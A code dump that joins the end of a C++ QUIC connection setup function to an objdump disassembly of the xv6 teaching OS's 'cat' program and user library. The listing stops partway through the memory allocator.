// overhead. Since generally we guarantee a packet every 20ms, changing
// this value should have miniscule effect on quality on good connections,
// but on poor connections, changing this number significantly reduced the
// number of ack-only packets.
// The p-time can go up to as high as 120ms, and when it does, it's
// when the low overhead is the most important thing. Ideally it should be
// above 120ms, but it cannot be higher than 0.5*RTO, which equals to 100ms.
received_packet_manager.set_max_ack_delay(
QuicTime::Delta::FromMilliseconds(100));
sent_packet_manager.set_peer_max_ack_delay(
QuicTime::Delta::FromMilliseconds(100));
quic_connection->set_fill_up_link_during_probing(true);
// We start ack decimation after 15 packets. Typically, we would see
// 1-2 crypto handshake packets, one media packet, and 10 probing packets.
// We want to get acks for the probing packets as soon as possible,
// but we can start using ack decimation right after first probing completes.
// The default was to not start ack decimation for the first 100 packets.
quic_connection->set_min_received_before_ack_decimation(15);
return quic_connection;
}
} // namespace quic
|
_cat: file format elf32-i386
Disassembly of section .text:
00000000 <cat>:
char buf[512];
void
cat(int fd)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 56 push %esi
4: 53 push %ebx
5: 8b 75 08 mov 0x8(%ebp),%esi
int n;
while((n = read(fd, buf, sizeof(buf))) > 0) {
8: 83 ec 04 sub $0x4,%esp
b: 68 00 02 00 00 push $0x200
10: 68 c0 09 00 00 push $0x9c0
15: 56 push %esi
16: e8 84 02 00 00 call 29f <read>
1b: 89 c3 mov %eax,%ebx
1d: 83 c4 10 add $0x10,%esp
20: 85 c0 test %eax,%eax
22: 7e 2b jle 4f <cat+0x4f>
if (write(1, buf, n) != n) {
24: 83 ec 04 sub $0x4,%esp
27: 53 push %ebx
28: 68 c0 09 00 00 push $0x9c0
2d: 6a 01 push $0x1
2f: e8 73 02 00 00 call 2a7 <write>
34: 83 c4 10 add $0x10,%esp
37: 39 d8 cmp %ebx,%eax
39: 74 cd je 8 <cat+0x8>
printf(1, "cat: write error\n");
3b: 83 ec 08 sub $0x8,%esp
3e: 68 8c 06 00 00 push $0x68c
43: 6a 01 push $0x1
45: e8 87 03 00 00 call 3d1 <printf>
exit();
4a: e8 38 02 00 00 call 287 <exit>
}
}
if(n < 0){
4f: 85 c0 test %eax,%eax
51: 78 07 js 5a <cat+0x5a>
printf(1, "cat: read error\n");
exit();
}
}
53: 8d 65 f8 lea -0x8(%ebp),%esp
56: 5b pop %ebx
57: 5e pop %esi
58: 5d pop %ebp
59: c3 ret
printf(1, "cat: read error\n");
5a: 83 ec 08 sub $0x8,%esp
5d: 68 9e 06 00 00 push $0x69e
62: 6a 01 push $0x1
64: e8 68 03 00 00 call 3d1 <printf>
exit();
69: e8 19 02 00 00 call 287 <exit>
0000006e <main>:
int
main(int argc, char *argv[])
{
6e: 8d 4c 24 04 lea 0x4(%esp),%ecx
72: 83 e4 f0 and $0xfffffff0,%esp
75: ff 71 fc pushl -0x4(%ecx)
78: 55 push %ebp
79: 89 e5 mov %esp,%ebp
7b: 57 push %edi
7c: 56 push %esi
7d: 53 push %ebx
7e: 51 push %ecx
7f: 83 ec 18 sub $0x18,%esp
82: 8b 01 mov (%ecx),%eax
84: 89 45 e4 mov %eax,-0x1c(%ebp)
87: 8b 51 04 mov 0x4(%ecx),%edx
8a: 89 55 e0 mov %edx,-0x20(%ebp)
int fd, i;
if(argc <= 1){
8d: 83 f8 01 cmp $0x1,%eax
90: 7e 3e jle d0 <main+0x62>
cat(0);
exit();
}
for(i = 1; i < argc; i++){
92: bb 01 00 00 00 mov $0x1,%ebx
97: 3b 5d e4 cmp -0x1c(%ebp),%ebx
9a: 7d 59 jge f5 <main+0x87>
if((fd = open(argv[i], 0)) < 0){
9c: 8b 45 e0 mov -0x20(%ebp),%eax
9f: 8d 3c 98 lea (%eax,%ebx,4),%edi
a2: 83 ec 08 sub $0x8,%esp
a5: 6a 00 push $0x0
a7: ff 37 pushl (%edi)
a9: e8 19 02 00 00 call 2c7 <open>
ae: 89 c6 mov %eax,%esi
b0: 83 c4 10 add $0x10,%esp
b3: 85 c0 test %eax,%eax
b5: 78 28 js df <main+0x71>
printf(1, "cat: cannot open %s\n", argv[i]);
exit();
}
cat(fd);
b7: 83 ec 0c sub $0xc,%esp
ba: 50 push %eax
bb: e8 40 ff ff ff call 0 <cat>
close(fd);
c0: 89 34 24 mov %esi,(%esp)
c3: e8 e7 01 00 00 call 2af <close>
for(i = 1; i < argc; i++){
c8: 83 c3 01 add $0x1,%ebx
cb: 83 c4 10 add $0x10,%esp
ce: eb c7 jmp 97 <main+0x29>
cat(0);
d0: 83 ec 0c sub $0xc,%esp
d3: 6a 00 push $0x0
d5: e8 26 ff ff ff call 0 <cat>
exit();
da: e8 a8 01 00 00 call 287 <exit>
printf(1, "cat: cannot open %s\n", argv[i]);
df: 83 ec 04 sub $0x4,%esp
e2: ff 37 pushl (%edi)
e4: 68 af 06 00 00 push $0x6af
e9: 6a 01 push $0x1
eb: e8 e1 02 00 00 call 3d1 <printf>
exit();
f0: e8 92 01 00 00 call 287 <exit>
}
exit();
f5: e8 8d 01 00 00 call 287 <exit>
000000fa <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
fa: 55 push %ebp
fb: 89 e5 mov %esp,%ebp
fd: 53 push %ebx
fe: 8b 45 08 mov 0x8(%ebp),%eax
101: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
104: 89 c2 mov %eax,%edx
106: 0f b6 19 movzbl (%ecx),%ebx
109: 88 1a mov %bl,(%edx)
10b: 8d 52 01 lea 0x1(%edx),%edx
10e: 8d 49 01 lea 0x1(%ecx),%ecx
111: 84 db test %bl,%bl
113: 75 f1 jne 106 <strcpy+0xc>
;
return os;
}
115: 5b pop %ebx
116: 5d pop %ebp
117: c3 ret
00000118 <strcmp>:
int
strcmp(const char *p, const char *q)
{
118: 55 push %ebp
119: 89 e5 mov %esp,%ebp
11b: 8b 4d 08 mov 0x8(%ebp),%ecx
11e: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
121: eb 06 jmp 129 <strcmp+0x11>
p++, q++;
123: 83 c1 01 add $0x1,%ecx
126: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
129: 0f b6 01 movzbl (%ecx),%eax
12c: 84 c0 test %al,%al
12e: 74 04 je 134 <strcmp+0x1c>
130: 3a 02 cmp (%edx),%al
132: 74 ef je 123 <strcmp+0xb>
return (uchar)*p - (uchar)*q;
134: 0f b6 c0 movzbl %al,%eax
137: 0f b6 12 movzbl (%edx),%edx
13a: 29 d0 sub %edx,%eax
}
13c: 5d pop %ebp
13d: c3 ret
0000013e <strlen>:
uint
strlen(const char *s)
{
13e: 55 push %ebp
13f: 89 e5 mov %esp,%ebp
141: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
144: ba 00 00 00 00 mov $0x0,%edx
149: eb 03 jmp 14e <strlen+0x10>
14b: 83 c2 01 add $0x1,%edx
14e: 89 d0 mov %edx,%eax
150: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
154: 75 f5 jne 14b <strlen+0xd>
;
return n;
}
156: 5d pop %ebp
157: c3 ret
00000158 <memset>:
void*
memset(void *dst, int c, uint n)
{
158: 55 push %ebp
159: 89 e5 mov %esp,%ebp
15b: 57 push %edi
15c: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
15f: 89 d7 mov %edx,%edi
161: 8b 4d 10 mov 0x10(%ebp),%ecx
164: 8b 45 0c mov 0xc(%ebp),%eax
167: fc cld
168: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
16a: 89 d0 mov %edx,%eax
16c: 5f pop %edi
16d: 5d pop %ebp
16e: c3 ret
0000016f <strchr>:
char*
strchr(const char *s, char c)
{
16f: 55 push %ebp
170: 89 e5 mov %esp,%ebp
172: 8b 45 08 mov 0x8(%ebp),%eax
175: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
179: 0f b6 10 movzbl (%eax),%edx
17c: 84 d2 test %dl,%dl
17e: 74 09 je 189 <strchr+0x1a>
if(*s == c)
180: 38 ca cmp %cl,%dl
182: 74 0a je 18e <strchr+0x1f>
for(; *s; s++)
184: 83 c0 01 add $0x1,%eax
187: eb f0 jmp 179 <strchr+0xa>
return (char*)s;
return 0;
189: b8 00 00 00 00 mov $0x0,%eax
}
18e: 5d pop %ebp
18f: c3 ret
00000190 <gets>:
char*
gets(char *buf, int max)
{
190: 55 push %ebp
191: 89 e5 mov %esp,%ebp
193: 57 push %edi
194: 56 push %esi
195: 53 push %ebx
196: 83 ec 1c sub $0x1c,%esp
199: 8b 7d 08 mov 0x8(%ebp),%edi
int i, cc;
char c;
for(i=0; i+1 < max; ){
19c: bb 00 00 00 00 mov $0x0,%ebx
1a1: 8d 73 01 lea 0x1(%ebx),%esi
1a4: 3b 75 0c cmp 0xc(%ebp),%esi
1a7: 7d 2e jge 1d7 <gets+0x47>
cc = read(0, &c, 1);
1a9: 83 ec 04 sub $0x4,%esp
1ac: 6a 01 push $0x1
1ae: 8d 45 e7 lea -0x19(%ebp),%eax
1b1: 50 push %eax
1b2: 6a 00 push $0x0
1b4: e8 e6 00 00 00 call 29f <read>
if(cc < 1)
1b9: 83 c4 10 add $0x10,%esp
1bc: 85 c0 test %eax,%eax
1be: 7e 17 jle 1d7 <gets+0x47>
break;
buf[i++] = c;
1c0: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1c4: 88 04 1f mov %al,(%edi,%ebx,1)
if(c == '\n' || c == '\r')
1c7: 3c 0a cmp $0xa,%al
1c9: 0f 94 c2 sete %dl
1cc: 3c 0d cmp $0xd,%al
1ce: 0f 94 c0 sete %al
buf[i++] = c;
1d1: 89 f3 mov %esi,%ebx
if(c == '\n' || c == '\r')
1d3: 08 c2 or %al,%dl
1d5: 74 ca je 1a1 <gets+0x11>
break;
}
buf[i] = '\0';
1d7: c6 04 1f 00 movb $0x0,(%edi,%ebx,1)
return buf;
}
1db: 89 f8 mov %edi,%eax
1dd: 8d 65 f4 lea -0xc(%ebp),%esp
1e0: 5b pop %ebx
1e1: 5e pop %esi
1e2: 5f pop %edi
1e3: 5d pop %ebp
1e4: c3 ret
000001e5 <stat>:
int
stat(const char *n, struct stat *st)
{
1e5: 55 push %ebp
1e6: 89 e5 mov %esp,%ebp
1e8: 56 push %esi
1e9: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1ea: 83 ec 08 sub $0x8,%esp
1ed: 6a 00 push $0x0
1ef: ff 75 08 pushl 0x8(%ebp)
1f2: e8 d0 00 00 00 call 2c7 <open>
if(fd < 0)
1f7: 83 c4 10 add $0x10,%esp
1fa: 85 c0 test %eax,%eax
1fc: 78 24 js 222 <stat+0x3d>
1fe: 89 c3 mov %eax,%ebx
return -1;
r = fstat(fd, st);
200: 83 ec 08 sub $0x8,%esp
203: ff 75 0c pushl 0xc(%ebp)
206: 50 push %eax
207: e8 d3 00 00 00 call 2df <fstat>
20c: 89 c6 mov %eax,%esi
close(fd);
20e: 89 1c 24 mov %ebx,(%esp)
211: e8 99 00 00 00 call 2af <close>
return r;
216: 83 c4 10 add $0x10,%esp
}
219: 89 f0 mov %esi,%eax
21b: 8d 65 f8 lea -0x8(%ebp),%esp
21e: 5b pop %ebx
21f: 5e pop %esi
220: 5d pop %ebp
221: c3 ret
return -1;
222: be ff ff ff ff mov $0xffffffff,%esi
227: eb f0 jmp 219 <stat+0x34>
00000229 <atoi>:
int
atoi(const char *s)
{
229: 55 push %ebp
22a: 89 e5 mov %esp,%ebp
22c: 53 push %ebx
22d: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
230: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
235: eb 10 jmp 247 <atoi+0x1e>
n = n*10 + *s++ - '0';
237: 8d 1c 80 lea (%eax,%eax,4),%ebx
23a: 8d 04 1b lea (%ebx,%ebx,1),%eax
23d: 83 c1 01 add $0x1,%ecx
240: 0f be d2 movsbl %dl,%edx
243: 8d 44 02 d0 lea -0x30(%edx,%eax,1),%eax
while('0' <= *s && *s <= '9')
247: 0f b6 11 movzbl (%ecx),%edx
24a: 8d 5a d0 lea -0x30(%edx),%ebx
24d: 80 fb 09 cmp $0x9,%bl
250: 76 e5 jbe 237 <atoi+0xe>
return n;
}
252: 5b pop %ebx
253: 5d pop %ebp
254: c3 ret
00000255 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
255: 55 push %ebp
256: 89 e5 mov %esp,%ebp
258: 56 push %esi
259: 53 push %ebx
25a: 8b 45 08 mov 0x8(%ebp),%eax
25d: 8b 5d 0c mov 0xc(%ebp),%ebx
260: 8b 55 10 mov 0x10(%ebp),%edx
char *dst;
const char *src;
dst = vdst;
263: 89 c1 mov %eax,%ecx
src = vsrc;
while(n-- > 0)
265: eb 0d jmp 274 <memmove+0x1f>
*dst++ = *src++;
267: 0f b6 13 movzbl (%ebx),%edx
26a: 88 11 mov %dl,(%ecx)
26c: 8d 5b 01 lea 0x1(%ebx),%ebx
26f: 8d 49 01 lea 0x1(%ecx),%ecx
while(n-- > 0)
272: 89 f2 mov %esi,%edx
274: 8d 72 ff lea -0x1(%edx),%esi
277: 85 d2 test %edx,%edx
279: 7f ec jg 267 <memmove+0x12>
return vdst;
}
27b: 5b pop %ebx
27c: 5e pop %esi
27d: 5d pop %ebp
27e: c3 ret
0000027f <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
27f: b8 01 00 00 00 mov $0x1,%eax
284: cd 40 int $0x40
286: c3 ret
00000287 <exit>:
SYSCALL(exit)
287: b8 02 00 00 00 mov $0x2,%eax
28c: cd 40 int $0x40
28e: c3 ret
0000028f <wait>:
SYSCALL(wait)
28f: b8 03 00 00 00 mov $0x3,%eax
294: cd 40 int $0x40
296: c3 ret
00000297 <pipe>:
SYSCALL(pipe)
297: b8 04 00 00 00 mov $0x4,%eax
29c: cd 40 int $0x40
29e: c3 ret
0000029f <read>:
SYSCALL(read)
29f: b8 05 00 00 00 mov $0x5,%eax
2a4: cd 40 int $0x40
2a6: c3 ret
000002a7 <write>:
SYSCALL(write)
2a7: b8 10 00 00 00 mov $0x10,%eax
2ac: cd 40 int $0x40
2ae: c3 ret
000002af <close>:
SYSCALL(close)
2af: b8 15 00 00 00 mov $0x15,%eax
2b4: cd 40 int $0x40
2b6: c3 ret
000002b7 <kill>:
SYSCALL(kill)
2b7: b8 06 00 00 00 mov $0x6,%eax
2bc: cd 40 int $0x40
2be: c3 ret
000002bf <exec>:
SYSCALL(exec)
2bf: b8 07 00 00 00 mov $0x7,%eax
2c4: cd 40 int $0x40
2c6: c3 ret
000002c7 <open>:
SYSCALL(open)
2c7: b8 0f 00 00 00 mov $0xf,%eax
2cc: cd 40 int $0x40
2ce: c3 ret
000002cf <mknod>:
SYSCALL(mknod)
2cf: b8 11 00 00 00 mov $0x11,%eax
2d4: cd 40 int $0x40
2d6: c3 ret
000002d7 <unlink>:
SYSCALL(unlink)
2d7: b8 12 00 00 00 mov $0x12,%eax
2dc: cd 40 int $0x40
2de: c3 ret
000002df <fstat>:
SYSCALL(fstat)
2df: b8 08 00 00 00 mov $0x8,%eax
2e4: cd 40 int $0x40
2e6: c3 ret
000002e7 <link>:
SYSCALL(link)
2e7: b8 13 00 00 00 mov $0x13,%eax
2ec: cd 40 int $0x40
2ee: c3 ret
000002ef <mkdir>:
SYSCALL(mkdir)
2ef: b8 14 00 00 00 mov $0x14,%eax
2f4: cd 40 int $0x40
2f6: c3 ret
000002f7 <chdir>:
SYSCALL(chdir)
2f7: b8 09 00 00 00 mov $0x9,%eax
2fc: cd 40 int $0x40
2fe: c3 ret
000002ff <dup>:
SYSCALL(dup)
2ff: b8 0a 00 00 00 mov $0xa,%eax
304: cd 40 int $0x40
306: c3 ret
00000307 <getpid>:
SYSCALL(getpid)
307: b8 0b 00 00 00 mov $0xb,%eax
30c: cd 40 int $0x40
30e: c3 ret
0000030f <sbrk>:
SYSCALL(sbrk)
30f: b8 0c 00 00 00 mov $0xc,%eax
314: cd 40 int $0x40
316: c3 ret
00000317 <sleep>:
SYSCALL(sleep)
317: b8 0d 00 00 00 mov $0xd,%eax
31c: cd 40 int $0x40
31e: c3 ret
0000031f <uptime>:
SYSCALL(uptime)
31f: b8 0e 00 00 00 mov $0xe,%eax
324: cd 40 int $0x40
326: c3 ret
00000327 <getofilecnt>:
SYSCALL(getofilecnt)
327: b8 16 00 00 00 mov $0x16,%eax
32c: cd 40 int $0x40
32e: c3 ret
0000032f <getofilenext>:
SYSCALL(getofilenext)
32f: b8 17 00 00 00 mov $0x17,%eax
334: cd 40 int $0x40
336: c3 ret
00000337 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
337: 55 push %ebp
338: 89 e5 mov %esp,%ebp
33a: 83 ec 1c sub $0x1c,%esp
33d: 88 55 f4 mov %dl,-0xc(%ebp)
write(fd, &c, 1);
340: 6a 01 push $0x1
342: 8d 55 f4 lea -0xc(%ebp),%edx
345: 52 push %edx
346: 50 push %eax
347: e8 5b ff ff ff call 2a7 <write>
}
34c: 83 c4 10 add $0x10,%esp
34f: c9 leave
350: c3 ret
00000351 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
351: 55 push %ebp
352: 89 e5 mov %esp,%ebp
354: 57 push %edi
355: 56 push %esi
356: 53 push %ebx
357: 83 ec 2c sub $0x2c,%esp
35a: 89 c7 mov %eax,%edi
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
35c: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
360: 0f 95 c3 setne %bl
363: 89 d0 mov %edx,%eax
365: c1 e8 1f shr $0x1f,%eax
368: 84 c3 test %al,%bl
36a: 74 10 je 37c <printint+0x2b>
neg = 1;
x = -xx;
36c: f7 da neg %edx
neg = 1;
36e: c7 45 d4 01 00 00 00 movl $0x1,-0x2c(%ebp)
} else {
x = xx;
}
i = 0;
375: be 00 00 00 00 mov $0x0,%esi
37a: eb 0b jmp 387 <printint+0x36>
neg = 0;
37c: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
383: eb f0 jmp 375 <printint+0x24>
do{
buf[i++] = digits[x % base];
385: 89 c6 mov %eax,%esi
387: 89 d0 mov %edx,%eax
389: ba 00 00 00 00 mov $0x0,%edx
38e: f7 f1 div %ecx
390: 89 c3 mov %eax,%ebx
392: 8d 46 01 lea 0x1(%esi),%eax
395: 0f b6 92 cc 06 00 00 movzbl 0x6cc(%edx),%edx
39c: 88 54 35 d8 mov %dl,-0x28(%ebp,%esi,1)
}while((x /= base) != 0);
3a0: 89 da mov %ebx,%edx
3a2: 85 db test %ebx,%ebx
3a4: 75 df jne 385 <printint+0x34>
3a6: 89 c3 mov %eax,%ebx
if(neg)
3a8: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
3ac: 74 16 je 3c4 <printint+0x73>
buf[i++] = '-';
3ae: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
3b3: 8d 5e 02 lea 0x2(%esi),%ebx
3b6: eb 0c jmp 3c4 <printint+0x73>
while(--i >= 0)
putc(fd, buf[i]);
3b8: 0f be 54 1d d8 movsbl -0x28(%ebp,%ebx,1),%edx
3bd: 89 f8 mov %edi,%eax
3bf: e8 73 ff ff ff call 337 <putc>
while(--i >= 0)
3c4: 83 eb 01 sub $0x1,%ebx
3c7: 79 ef jns 3b8 <printint+0x67>
}
3c9: 83 c4 2c add $0x2c,%esp
3cc: 5b pop %ebx
3cd: 5e pop %esi
3ce: 5f pop %edi
3cf: 5d pop %ebp
3d0: c3 ret
000003d1 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3d1: 55 push %ebp
3d2: 89 e5 mov %esp,%ebp
3d4: 57 push %edi
3d5: 56 push %esi
3d6: 53 push %ebx
3d7: 83 ec 1c sub $0x1c,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
3da: 8d 45 10 lea 0x10(%ebp),%eax
3dd: 89 45 e4 mov %eax,-0x1c(%ebp)
state = 0;
3e0: be 00 00 00 00 mov $0x0,%esi
for(i = 0; fmt[i]; i++){
3e5: bb 00 00 00 00 mov $0x0,%ebx
3ea: eb 14 jmp 400 <printf+0x2f>
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
} else {
putc(fd, c);
3ec: 89 fa mov %edi,%edx
3ee: 8b 45 08 mov 0x8(%ebp),%eax
3f1: e8 41 ff ff ff call 337 <putc>
3f6: eb 05 jmp 3fd <printf+0x2c>
}
} else if(state == '%'){
3f8: 83 fe 25 cmp $0x25,%esi
3fb: 74 25 je 422 <printf+0x51>
for(i = 0; fmt[i]; i++){
3fd: 83 c3 01 add $0x1,%ebx
400: 8b 45 0c mov 0xc(%ebp),%eax
403: 0f b6 04 18 movzbl (%eax,%ebx,1),%eax
407: 84 c0 test %al,%al
409: 0f 84 23 01 00 00 je 532 <printf+0x161>
c = fmt[i] & 0xff;
40f: 0f be f8 movsbl %al,%edi
412: 0f b6 c0 movzbl %al,%eax
if(state == 0){
415: 85 f6 test %esi,%esi
417: 75 df jne 3f8 <printf+0x27>
if(c == '%'){
419: 83 f8 25 cmp $0x25,%eax
41c: 75 ce jne 3ec <printf+0x1b>
state = '%';
41e: 89 c6 mov %eax,%esi
420: eb db jmp 3fd <printf+0x2c>
if(c == 'd'){
422: 83 f8 64 cmp $0x64,%eax
425: 74 49 je 470 <printf+0x9f>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
427: 83 f8 78 cmp $0x78,%eax
42a: 0f 94 c1 sete %cl
42d: 83 f8 70 cmp $0x70,%eax
430: 0f 94 c2 sete %dl
433: 08 d1 or %dl,%cl
435: 75 63 jne 49a <printf+0xc9>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
437: 83 f8 73 cmp $0x73,%eax
43a: 0f 84 84 00 00 00 je 4c4 <printf+0xf3>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
440: 83 f8 63 cmp $0x63,%eax
443: 0f 84 b7 00 00 00 je 500 <printf+0x12f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
449: 83 f8 25 cmp $0x25,%eax
44c: 0f 84 cc 00 00 00 je 51e <printf+0x14d>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
452: ba 25 00 00 00 mov $0x25,%edx
457: 8b 45 08 mov 0x8(%ebp),%eax
45a: e8 d8 fe ff ff call 337 <putc>
putc(fd, c);
45f: 89 fa mov %edi,%edx
461: 8b 45 08 mov 0x8(%ebp),%eax
464: e8 ce fe ff ff call 337 <putc>
}
state = 0;
469: be 00 00 00 00 mov $0x0,%esi
46e: eb 8d jmp 3fd <printf+0x2c>
printint(fd, *ap, 10, 1);
470: 8b 7d e4 mov -0x1c(%ebp),%edi
473: 8b 17 mov (%edi),%edx
475: 83 ec 0c sub $0xc,%esp
478: 6a 01 push $0x1
47a: b9 0a 00 00 00 mov $0xa,%ecx
47f: 8b 45 08 mov 0x8(%ebp),%eax
482: e8 ca fe ff ff call 351 <printint>
ap++;
487: 83 c7 04 add $0x4,%edi
48a: 89 7d e4 mov %edi,-0x1c(%ebp)
48d: 83 c4 10 add $0x10,%esp
state = 0;
490: be 00 00 00 00 mov $0x0,%esi
495: e9 63 ff ff ff jmp 3fd <printf+0x2c>
printint(fd, *ap, 16, 0);
49a: 8b 7d e4 mov -0x1c(%ebp),%edi
49d: 8b 17 mov (%edi),%edx
49f: 83 ec 0c sub $0xc,%esp
4a2: 6a 00 push $0x0
4a4: b9 10 00 00 00 mov $0x10,%ecx
4a9: 8b 45 08 mov 0x8(%ebp),%eax
4ac: e8 a0 fe ff ff call 351 <printint>
ap++;
4b1: 83 c7 04 add $0x4,%edi
4b4: 89 7d e4 mov %edi,-0x1c(%ebp)
4b7: 83 c4 10 add $0x10,%esp
state = 0;
4ba: be 00 00 00 00 mov $0x0,%esi
4bf: e9 39 ff ff ff jmp 3fd <printf+0x2c>
s = (char*)*ap;
4c4: 8b 45 e4 mov -0x1c(%ebp),%eax
4c7: 8b 30 mov (%eax),%esi
ap++;
4c9: 83 c0 04 add $0x4,%eax
4cc: 89 45 e4 mov %eax,-0x1c(%ebp)
if(s == 0)
4cf: 85 f6 test %esi,%esi
4d1: 75 28 jne 4fb <printf+0x12a>
s = "(null)";
4d3: be c4 06 00 00 mov $0x6c4,%esi
4d8: 8b 7d 08 mov 0x8(%ebp),%edi
4db: eb 0d jmp 4ea <printf+0x119>
putc(fd, *s);
4dd: 0f be d2 movsbl %dl,%edx
4e0: 89 f8 mov %edi,%eax
4e2: e8 50 fe ff ff call 337 <putc>
s++;
4e7: 83 c6 01 add $0x1,%esi
while(*s != 0){
4ea: 0f b6 16 movzbl (%esi),%edx
4ed: 84 d2 test %dl,%dl
4ef: 75 ec jne 4dd <printf+0x10c>
state = 0;
4f1: be 00 00 00 00 mov $0x0,%esi
4f6: e9 02 ff ff ff jmp 3fd <printf+0x2c>
4fb: 8b 7d 08 mov 0x8(%ebp),%edi
4fe: eb ea jmp 4ea <printf+0x119>
putc(fd, *ap);
500: 8b 7d e4 mov -0x1c(%ebp),%edi
503: 0f be 17 movsbl (%edi),%edx
506: 8b 45 08 mov 0x8(%ebp),%eax
509: e8 29 fe ff ff call 337 <putc>
ap++;
50e: 83 c7 04 add $0x4,%edi
511: 89 7d e4 mov %edi,-0x1c(%ebp)
state = 0;
514: be 00 00 00 00 mov $0x0,%esi
519: e9 df fe ff ff jmp 3fd <printf+0x2c>
putc(fd, c);
51e: 89 fa mov %edi,%edx
520: 8b 45 08 mov 0x8(%ebp),%eax
523: e8 0f fe ff ff call 337 <putc>
state = 0;
528: be 00 00 00 00 mov $0x0,%esi
52d: e9 cb fe ff ff jmp 3fd <printf+0x2c>
}
}
}
532: 8d 65 f4 lea -0xc(%ebp),%esp
535: 5b pop %ebx
536: 5e pop %esi
537: 5f pop %edi
538: 5d pop %ebp
539: c3 ret
0000053a <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
53a: 55 push %ebp
53b: 89 e5 mov %esp,%ebp
53d: 57 push %edi
53e: 56 push %esi
53f: 53 push %ebx
540: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
543: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
546: a1 a0 09 00 00 mov 0x9a0,%eax
54b: eb 02 jmp 54f <free+0x15>
54d: 89 d0 mov %edx,%eax
54f: 39 c8 cmp %ecx,%eax
551: 73 04 jae 557 <free+0x1d>
553: 39 08 cmp %ecx,(%eax)
555: 77 12 ja 569 <free+0x2f>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
557: 8b 10 mov (%eax),%edx
559: 39 c2 cmp %eax,%edx
55b: 77 f0 ja 54d <free+0x13>
55d: 39 c8 cmp %ecx,%eax
55f: 72 08 jb 569 <free+0x2f>
561: 39 ca cmp %ecx,%edx
563: 77 04 ja 569 <free+0x2f>
565: 89 d0 mov %edx,%eax
567: eb e6 jmp 54f <free+0x15>
break;
if(bp + bp->s.size == p->s.ptr){
569: 8b 73 fc mov -0x4(%ebx),%esi
56c: 8d 3c f1 lea (%ecx,%esi,8),%edi
56f: 8b 10 mov (%eax),%edx
571: 39 d7 cmp %edx,%edi
573: 74 19 je 58e <free+0x54>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
575: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
578: 8b 50 04 mov 0x4(%eax),%edx
57b: 8d 34 d0 lea (%eax,%edx,8),%esi
57e: 39 ce cmp %ecx,%esi
580: 74 1b je 59d <free+0x63>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
582: 89 08 mov %ecx,(%eax)
freep = p;
584: a3 a0 09 00 00 mov %eax,0x9a0
}
589: 5b pop %ebx
58a: 5e pop %esi
58b: 5f pop %edi
58c: 5d pop %ebp
58d: c3 ret
bp->s.size += p->s.ptr->s.size;
58e: 03 72 04 add 0x4(%edx),%esi
591: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
594: 8b 10 mov (%eax),%edx
596: 8b 12 mov (%edx),%edx
598: 89 53 f8 mov %edx,-0x8(%ebx)
59b: eb db jmp 578 <free+0x3e>
p->s.size += bp->s.size;
59d: 03 53 fc add -0x4(%ebx),%edx
5a0: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
5a3: 8b 53 f8 mov -0x8(%ebx),%edx
5a6: 89 10 mov %edx,(%eax)
5a8: eb da jmp 584 <free+0x4a>
000005aa <morecore>:
static Header*
morecore(uint nu)
{
5aa: 55 push %ebp
5ab: 89 e5 mov %esp,%ebp
5ad: 53 push %ebx
5ae: 83 ec 04 sub $0x4,%esp
5b1: 89 c3 mov %eax,%ebx
char *p;
Header *hp;
if(nu < 4096)
5b3: 3d ff 0f 00 00 cmp $0xfff,%eax
5b8: 77 05 ja 5bf <morecore+0x15>
nu = 4096;
5ba: bb 00 10 00 00 mov $0x1000,%ebx
p = sbrk(nu * sizeof(Header));
5bf: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax
5c6: 83 ec 0c sub $0xc,%esp
5c9: 50 push %eax
